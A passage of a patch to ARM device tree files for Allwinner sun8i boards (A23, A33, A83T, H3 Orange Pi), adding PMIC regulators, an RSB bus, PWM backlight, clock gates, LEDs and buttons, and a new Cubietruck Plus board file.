- 				allwinner,pins = "PC5", "PC6", "PC8",
- 						 "PC9", "PC10", "PC11",
- 						 "PC12", "PC13", "PC14",
--						 "PC15";
-+						 "PC15", "PC16";
- 				allwinner,function = "mmc2";
- 				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 			};
- 
-+			pwm0_pins: pwm0 {
-+				allwinner,pins = "PH0";
-+				allwinner,function = "pwm0";
-+				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+			};
-+
- 			i2c0_pins_a: i2c0 at 0 {
- 				allwinner,pins = "PH2", "PH3";
- 				allwinner,function = "i2c0";
-@@ -451,6 +448,14 @@
- 			interrupts = <GIC_SPI 25 IRQ_TYPE_LEVEL_HIGH>;
- 		};
- 
-+		pwm: pwm at 01c21400 {
-+			compatible = "allwinner,sun7i-a20-pwm";
-+			reg = <0x01c21400 0xc>;
-+			clocks = <&osc24M>;
-+			#pwm-cells = <3>;
-+			status = "disabled";
-+		};
-+
- 		lradc: lradc at 01c22800 {
- 			compatible = "allwinner,sun4i-a10-lradc-keys";
- 			reg = <0x01c22800 0x100>;
-@@ -574,6 +579,14 @@
- 				     <GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>;
- 		};
- 
-+		nmi_intc: interrupt-controller at 01f00c0c {
-+			compatible = "allwinner,sun6i-a31-sc-nmi";
-+			interrupt-controller;
-+			#interrupt-cells = <2>;
-+			reg = <0x01f00c0c 0x38>;
-+			interrupts = <GIC_SPI 32 IRQ_TYPE_LEVEL_HIGH>;
-+		};
-+
- 		prcm at 01f01400 {
- 			compatible = "allwinner,sun8i-a23-prcm";
- 			reg = <0x01f01400 0x200>;
-@@ -642,10 +655,18 @@
- 			resets = <&apb0_rst 0>;
- 			gpio-controller;
- 			interrupt-controller;
-+			#interrupt-cells = <3>;
- 			#address-cells = <1>;
- 			#size-cells = <0>;
- 			#gpio-cells = <3>;
- 
-+			r_rsb_pins: r_rsb {
-+				allwinner,pins = "PL0", "PL1";
-+				allwinner,function = "s_rsb";
-+				allwinner,drive = <SUN4I_PINCTRL_20_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+			};
-+
- 			r_uart_pins_a: r_uart at 0 {
- 				allwinner,pins = "PL2", "PL3";
- 				allwinner,function = "s_uart";
-@@ -653,5 +674,19 @@
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 			};
- 		};
-+
-+		r_rsb: rsb at 01f03400 {
-+			compatible = "allwinner,sun8i-a23-rsb";
-+			reg = <0x01f03400 0x400>;
-+			interrupts = <GIC_SPI 39 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&apb0_gates 3>;
-+			clock-frequency = <3000000>;
-+			resets = <&apb0_rst 3>;
-+			pinctrl-names = "default";
-+			pinctrl-0 = <&r_rsb_pins>;
-+			status = "disabled";
-+			#address-cells = <1>;
-+			#size-cells = <0>;
-+		};
- 	};
- };
---- a/arch/arm/dts/sun8i-a23-gt90h-v4.dts
-+++ b/arch/arm/dts/sun8i-a23-gt90h-v4.dts
-@@ -47,15 +47,26 @@
- #include <dt-bindings/gpio/gpio.h>
- #include <dt-bindings/input/input.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
-+#include <dt-bindings/pwm/pwm.h>
- 
- / {
--	model = "Allwinner GT90H Quad Core Tablet (v4)";
--	compatible = "allwinner,gt90h-v4", "allwinner,sun8i-a33";
-+	model = "Allwinner GT90H Dual Core Tablet (v4)";
-+	compatible = "allwinner,gt90h-v4", "allwinner,sun8i-a23";
- 
- 	aliases {
- 		serial0 = &r_uart;
- 	};
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&bl_en_pin_gt90h>;
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		enable-gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-@@ -106,8 +117,7 @@
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_gt90h>;
--	/* FIXME this really is aldo1, correct once we've pmic support */
--	vmmc-supply = <&reg_vcc3v0>;
-+	vmmc-supply = <&reg_aldo1>;
- 	bus-width = <4>;
- 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
- 	cd-inverted;
-@@ -115,6 +125,13 @@
- };
- 
- &pio {
-+	bl_en_pin_gt90h: bl_en_pin at 0 {
-+		allwinner,pins = "PH6";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	mmc0_cd_pin_gt90h: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PB4";
- 		allwinner,function = "gpio_in";
-@@ -123,12 +140,106 @@
- 	};
- };
- 
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins>;
-+	status = "okay";
-+};
-+
-+&r_rsb {
-+	status = "okay";
-+
-+	axp22x: pmic at 3a3 {
-+		compatible = "x-powers,axp223";
-+		reg = <0x3a3>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+		eldoin-supply = <&reg_dcdc1>;
-+	};
-+};
-+
- &r_uart {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&r_uart_pins_a>;
- 	status = "okay";
- };
- 
-+#include "axp22x.dtsi"
-+
-+&reg_aldo1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-io";
-+};
-+
-+&reg_aldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2350000>;
-+	regulator-max-microvolt = <2650000>;
-+	regulator-name = "vdd-dll";
-+};
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-pll-avcc";
-+};
-+
-+&reg_dc1sw {
-+	regulator-name = "vcc-lcd";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-sys";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+&reg_dldo1 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-wifi";
-+};
-+
-+&reg_rtc_ldo {
-+	regulator-name = "vcc-rtc";
-+};
-+
-+&simplefb_lcd {
-+	vcc-lcd-supply = <&reg_dc1sw>;
-+};
-+
- /*
-  * FIXME for now we only support host mode and rely on u-boot to have
-  * turned on Vbus which is controlled by the axp223 pmic on the board.
-@@ -141,5 +252,6 @@
- };
- 
- &usbphy {
-+	usb1_vbus-supply = <&reg_dldo1>;
- 	status = "okay";
- };
---- a/arch/arm/dts/sun8i-a23.dtsi
-+++ b/arch/arm/dts/sun8i-a23.dtsi
-@@ -50,6 +50,31 @@
- 	};
- 
- 	clocks {
-+		ahb1_gates: clk at 01c20060 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun8i-a23-ahb1-gates-clk";
-+			reg = <0x01c20060 0x8>;
-+			clocks = <&ahb1>;
-+			clock-indices = <1>, <6>,
-+					<8>, <9>, <10>,
-+					<13>, <14>,
-+					<19>, <20>,
-+					<21>, <24>, <26>,
-+					<29>, <32>, <36>,
-+					<40>, <44>, <46>,
-+					<52>, <53>,
-+					<54>, <57>;
-+			clock-output-names = "ahb1_mipidsi", "ahb1_dma",
-+					"ahb1_mmc0", "ahb1_mmc1", "ahb1_mmc2",
-+					"ahb1_nand", "ahb1_sdram",
-+					"ahb1_hstimer", "ahb1_spi0",
-+					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
-+					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
-+					"ahb1_csi", "ahb1_be",	"ahb1_fe",
-+					"ahb1_gpu", "ahb1_msgbox",
-+					"ahb1_spinlock", "ahb1_drc";
-+		};
-+
- 		mbus_clk: clk at 01c2015c {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun8i-a23-mbus-clk";
---- a/arch/arm/dts/sun8i-a33-sinlinx-sina33.dts
-+++ b/arch/arm/dts/sun8i-a33-sinlinx-sina33.dts
-@@ -68,7 +68,7 @@
- };
- 
- &lradc {
--	vref-supply = <&reg_vcc3v0>;
-+	vref-supply = <&reg_dcdc1>;
- 	status = "okay";
- 
- 	button at 200 {
-@@ -96,7 +96,7 @@
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_sina33>;
--	vmmc-supply = <&reg_vcc3v0>;
-+	vmmc-supply = <&reg_dcdc1>;
- 	bus-width = <4>;
- 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
- 	cd-inverted;
-@@ -106,13 +106,16 @@
- &mmc2 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc2_8bit_pins>;
--	vmmc-supply = <&reg_vcc3v0>;
-+	vmmc-supply = <&reg_dcdc1>;
- 	bus-width = <8>;
- 	non-removable;
-+	cap-mmc-hw-reset;
- 	status = "okay";
- };
- 
- &mmc2_8bit_pins {
-+	/* Increase drive strength for DDR modes */
-+	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
- 	/* eMMC is missing pull-ups */
- 	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
- };
-@@ -130,6 +133,80 @@
- 	};
- };
- 
-+&r_rsb {
-+	status = "okay";
-+
-+	axp22x: pmic at 3a3 {
-+		compatible = "x-powers,axp223";
-+		reg = <0x3a3>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+		eldoin-supply = <&reg_dcdc1>;
-+	};
-+};
-+
-+#include "axp22x.dtsi"
-+
-+&reg_aldo1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-io";
-+};
-+
-+&reg_aldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2350000>;
-+	regulator-max-microvolt = <2650000>;
-+	regulator-name = "vdd-dll";
-+};
-+
-+&reg_aldo3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <2700000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vcc-pll-avcc";
-+};
-+
-+&reg_dc5ldo {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpus";
-+};
-+
-+&reg_dcdc1 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "vcc-3v0";
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-sys";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <900000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc5 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1500000>;
-+	regulator-max-microvolt = <1500000>;
-+	regulator-name = "vcc-dram";
-+};
-+
-+&reg_rtc_ldo {
-+	regulator-name = "vcc-rtc";
-+};
-+
- &uart0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&uart0_pins_b>;
---- a/arch/arm/dts/sun8i-a33.dtsi
-+++ b/arch/arm/dts/sun8i-a33.dtsi
-@@ -72,6 +72,41 @@
- 			clock-output-names = "pll11";
- 		};
- 
-+		ahb1_gates: clk at 01c20060 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun8i-a33-ahb1-gates-clk";
-+			reg = <0x01c20060 0x8>;
-+			clocks = <&ahb1>;
-+			clock-indices = <1>, <5>,
-+				        <6>, <8>, <9>,
-+				        <10>, <13>, <14>,
-+					<19>, <20>,
-+					<21>, <24>, <26>,
-+					<29>, <32>, <36>,
-+					<40>, <44>, <46>,
-+					<52>, <53>,
-+					<54>, <57>,
-+					<58>;
-+			clock-output-names = "ahb1_mipidsi", "ahb1_ss",
-+					"ahb1_dma","ahb1_mmc0", "ahb1_mmc1",
-+					"ahb1_mmc2", "ahb1_nand", "ahb1_sdram",
-+					"ahb1_hstimer", "ahb1_spi0",
-+					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
-+					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
-+					"ahb1_csi", "ahb1_be",	"ahb1_fe",
-+					"ahb1_gpu", "ahb1_msgbox",
-+					"ahb1_spinlock", "ahb1_drc",
-+					"ahb1_sat";
-+		};
-+
-+		ss_clk: clk at 01c2009c {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			reg = <0x01c2009c 0x4>;
-+			clocks = <&osc24M>, <&pll6 0>;
-+			clock-output-names = "ss";
-+		};
-+
- 		mbus_clk: clk at 01c2015c {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun8i-a23-mbus-clk";
-@@ -82,6 +117,16 @@
- 	};
- 
- 	soc at 01c00000 {
-+		crypto: crypto-engine at 01c15000 {
-+			compatible = "allwinner,sun4i-a10-crypto";
-+			reg = <0x01c15000 0x1000>;
-+			interrupts = <GIC_SPI 80 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&ahb1_gates 5>, <&ss_clk>;
-+			clock-names = "ahb", "mod";
-+			resets = <&ahb1_rst 5>;
-+			reset-names = "ahb";
-+		};
-+
- 		usb_otg: usb at 01c19000 {
- 			compatible = "allwinner,sun8i-a33-musb";
- 			reg = <0x01c19000 0x0400>;
---- /dev/null
-+++ b/arch/arm/dts/sun8i-a83t-cubietruck-plus.dts
-@@ -0,0 +1,65 @@
-+/*
-+ * Copyright 2015 Chen-Yu Tsai
-+ *
-+ * Chen-Yu Tsai <wens at csie.org>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun8i-a83t.dtsi"
-+
-+/ {
-+	model = "Cubietech Cubietruck Plus";
-+	compatible = "cubietech,cubietruck-plus", "allwinner,sun8i-a83t";
-+
-+	aliases {
-+		serial0 = &uart0;
-+	};
-+
-+	chosen {
-+		stdout-path = "serial0:115200n8";
-+	};
-+};
-+
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_b>;
-+	status = "okay";
-+};
---- a/arch/arm/dts/sun8i-a83t.dtsi
-+++ b/arch/arm/dts/sun8i-a83t.dtsi
-@@ -52,12 +52,6 @@
- / {
- 	interrupt-parent = <&gic>;
- 
--	chosen {
--		#address-cells = <1>;
--		#size-cells = <1>;
--		ranges;
--	};
--
- 	cpus {
- 		#address-cells = <1>;
- 		#size-cells = <0>;
-@@ -85,6 +79,7 @@
- 			device_type = "cpu";
- 			reg = <3>;
- 		};
-+
- 		cpu at 100 {
- 			compatible = "arm,cortex-a7";
- 			device_type = "cpu";
-@@ -96,6 +91,7 @@
- 			device_type = "cpu";
- 			reg = <0x101>;
- 		};
-+
- 		cpu at 102 {
- 			compatible = "arm,cortex-a7";
- 			device_type = "cpu";
-@@ -109,18 +105,12 @@
- 		};
- 	};
- 
--	memory {
--		reg = <0x40000000 0x80000000>;
--	};
--
- 	timer {
- 		compatible = "arm,armv7-timer";
--		interrupts = <GIC_PPI 13 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
--			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
--			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
--			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>;
--		clock-frequency = <24000000>;
--		arm,cpu-registers-not-fw-configured;
-+		interrupts = <GIC_PPI 13 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
-+			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
-+			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
-+			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>;
- 	};
- 
- 	clocks {
-@@ -128,6 +118,7 @@
- 		#size-cells = <1>;
- 		ranges;
- 
-+		/* TODO: PRCM block has a mux for this. */
- 		osc24M: osc24M_clk {
- 			#clock-cells = <0>;
- 			compatible = "fixed-clock";
-@@ -135,36 +126,39 @@
- 			clock-output-names = "osc24M";
- 		};
- 
--		osc32k: osc32k_clk {
-+		/*
-+		 * This is called "internal OSC" in some places.
-+		 * It is an internal RC-based oscillator.
-+		 * TODO: Its controls are in the PRCM block.
-+		 */
-+		osc16M: osc16M_clk {
- 			#clock-cells = <0>;
- 			compatible = "fixed-clock";
--			clock-frequency = <32768>;
--			clock-output-names = "osc32k";
-+			clock-frequency = <16000000>;
-+			clock-output-names = "osc16M";
-+		};
-+
-+		osc16Md512: osc16Md512_clk {
-+			#clock-cells = <0>;
-+			compatible = "fixed-factor-clock";
-+			clock-div = <512>;
-+			clock-mult = <1>;
-+			clocks = <&osc16M>;
-+			clock-output-names = "osc16M-d512";
- 		};
- 	};
- 
--	soc at 01c00000 {
-+	soc {
- 		compatible = "simple-bus";
- 		#address-cells = <1>;
- 		#size-cells = <1>;
- 		ranges;
- 
--		gic: interrupt-controller at 01c81000 {
--			compatible = "arm,cortex-a7-gic", "arm,cortex-a15-gic";
--			reg = <0x01c81000 0x1000>,
--			      <0x01c82000 0x1000>,
--			      <0x01c84000 0x2000>,
--			      <0x01c86000 0x2000>;
--			interrupt-controller;
--			#interrupt-cells = <3>;
--			interrupts = <GIC_PPI 9 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_HIGH)>;
--		};
--
- 		pio: pinctrl at 01c20800 {
- 			compatible = "allwinner,sun8i-a83t-pinctrl";
- 			interrupts = <GIC_SPI 15 IRQ_TYPE_LEVEL_HIGH>,
--			<GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>,
--			<GIC_SPI 19 IRQ_TYPE_LEVEL_HIGH>;
-+				     <GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>,
-+				     <GIC_SPI 100 IRQ_TYPE_LEVEL_HIGH>;
- 			reg = <0x01c20800 0x400>;
- 			clocks = <&osc24M>;
- 			gpio-controller;
-@@ -172,27 +166,6 @@
- 			#interrupt-cells = <3>;
- 			#gpio-cells = <3>;
- 
--			i2c0_pins_a: i2c0 at 0 {
--				allwinner,pins = "PH0", "PH1";
--				allwinner,function = "i2c0";
--				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
--				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
--			};
--
--			i2c1_pins_a: i2c1 at 0 {
--				allwinner,pins = "PH2", "PH3";
--				allwinner,function = "i2c1";
--				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
--				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
--			};
--
--			i2c2_pins_a: i2c2 at 0 {
--				allwinner,pins = "PH4", "PH5";
--				allwinner,function = "i2c2";
--				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
--				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
--			};
--
- 			mmc0_pins_a: mmc0 at 0 {
- 				allwinner,pins = "PF0", "PF1", "PF2",
- 						 "PF3", "PF4", "PF5";
-@@ -201,24 +174,6 @@
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 			};
- 
--			mmc1_pins_a: mmc1 at 0 {
--				allwinner,pins = "PG0", "PG1", "PG2",
--						 "PG3", "PG4", "PG5";
--				allwinner,function = "mmc1";
--				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
--				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
--			};
--
--			mmc2_8bit_pins: mmc2_8bit {
--				allwinner,pins = "PC5", "PC6", "PC8",
--						 "PC9", "PC10", "PC11",
--						 "PC12", "PC13", "PC14",
--						 "PC15";
--				allwinner,function = "mmc2";
--				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
--				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
--			};
--
- 			uart0_pins_a: uart0 at 0 {
- 				allwinner,pins = "PF2", "PF4";
- 				allwinner,function = "uart0";
-@@ -234,6 +189,21 @@
- 			};
- 		};
- 
-+		timer at 01c20c00 {
-+			compatible = "allwinner,sun4i-a10-timer";
-+			reg = <0x01c20c00 0xa0>;
-+			interrupts = <GIC_SPI 18 IRQ_TYPE_LEVEL_HIGH>,
-+				     <GIC_SPI 19 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&osc24M>;
-+		};
-+
-+		watchdog at 01c20ca0 {
-+			compatible = "allwinner,sun6i-a31-wdt";
-+			reg = <0x01c20ca0 0x20>;
-+			interrupts = <GIC_SPI 25 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&osc24M>;
-+		};
-+
- 		uart0: serial at 01c28000 {
- 			compatible = "snps,dw-apb-uart";
- 			reg = <0x01c28000 0x400>;
-@@ -243,5 +213,16 @@
- 			clocks = <&osc24M>;
- 			status = "disabled";
- 		};
-+
-+		gic: interrupt-controller at 01c81000 {
-+			compatible = "arm,cortex-a7-gic", "arm,cortex-a15-gic";
-+			reg = <0x01c81000 0x1000>,
-+			      <0x01c82000 0x1000>,
-+			      <0x01c84000 0x2000>,
-+			      <0x01c86000 0x2000>;
-+			interrupt-controller;
-+			#interrupt-cells = <3>;
-+			interrupts = <GIC_PPI 9 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_HIGH)>;
-+		};
- 	};
- };
---- a/arch/arm/dts/sun8i-h3-orangepi-pc.dts
-+++ b/arch/arm/dts/sun8i-h3-orangepi-pc.dts
-@@ -45,6 +45,7 @@
- #include "sunxi-common-regulators.dtsi"
- 
- #include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
- / {
-@@ -58,6 +59,43 @@
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-+
-+	leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&leds_opc>;
-+
-+		status_led {
-+			label = "status:red:user";
-+			gpios = <&pio 0 15 GPIO_ACTIVE_HIGH>;
-+		};
-+	};
-+
-+	r_leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&leds_r_opc>;
-+
-+		tx {
-+			label = "pwr:green:user";
-+			gpios = <&r_pio 0 10 GPIO_ACTIVE_HIGH>;
-+			default-state = "on";
-+		};
-+	};
-+
-+	r_gpio_keys {
-+		compatible = "gpio-keys";
-+		input-name = "sw4";
-+
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&sw_r_opc>;
-+
-+		sw4 at 0 {
-+			label = "sw4";
-+			linux,code = <BTN_0>;
-+			gpios = <&r_pio 0 3 GPIO_ACTIVE_LOW>;
-+		};
-+	};
- };
- 
- &ehci1 {
-@@ -72,6 +110,12 @@
- 	status = "okay";
- };
- 
-+&ir {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&ir_pins_a>;
-+	status = "okay";
-+};
-+
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin>;
-@@ -94,6 +138,31 @@
- 	status = "okay";
- };
- 
-+&pio {
-+	leds_opc: led_pins at 0 {
-+		allwinner,pins = "PA15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&r_pio {
-+	leds_r_opc: led_pins at 0 {
-+		allwinner,pins = "PL10";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	sw_r_opc: key_pins at 0 {
-+		allwinner,pins = "PL03";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
- &uart0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&uart0_pins_a>;
---- a/arch/arm/dts/sun8i-h3-orangepi-plus.dts
-+++ b/arch/arm/dts/sun8i-h3-orangepi-plus.dts
-@@ -45,6 +45,7 @@
- #include "sunxi-common-regulators.dtsi"
- 
- #include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
- / {
-@@ -70,6 +71,68 @@
- 		enable-active-high;
- 		gpio = <&pio 6 11 GPIO_ACTIVE_HIGH>;
- 	};
-+
-+	leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&leds_opc>;
-+
-+		status_led {
-+			label = "status:red:user";
-+			gpios = <&pio 0 15 GPIO_ACTIVE_HIGH>;
-+		};
-+	};
-+
-+	r_leds {
-+		compatible = "gpio-leds";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&leds_r_opc>;
-+
-+		tx {
-+			label = "pwr:green:user";
-+			gpios = <&r_pio 0 10 GPIO_ACTIVE_HIGH>;
-+			default-state = "on";
-+		};
-+	};
-+
-+	r_gpio_keys {
-+		compatible = "gpio-keys";
-+		input-name = "sw4";
-+
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&sw_r_opc>;
-+
-+		sw4 at 0 {
-+			label = "sw4";
-+			linux,code = <BTN_0>;
-+			gpios = <&r_pio 0 3 GPIO_ACTIVE_LOW>;
-+		};
-+	};
-+};
-+
-+&pio {
-+	leds_opc: led_pins at 0 {
-+		allwinner,pins = "PA15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&r_pio {
-+	leds_r_opc: led_pins at 0 {
-+		allwinner,pins = "PL10";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	sw_r_opc: key_pins at 0 {
-+		allwinner,pins = "PL03";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
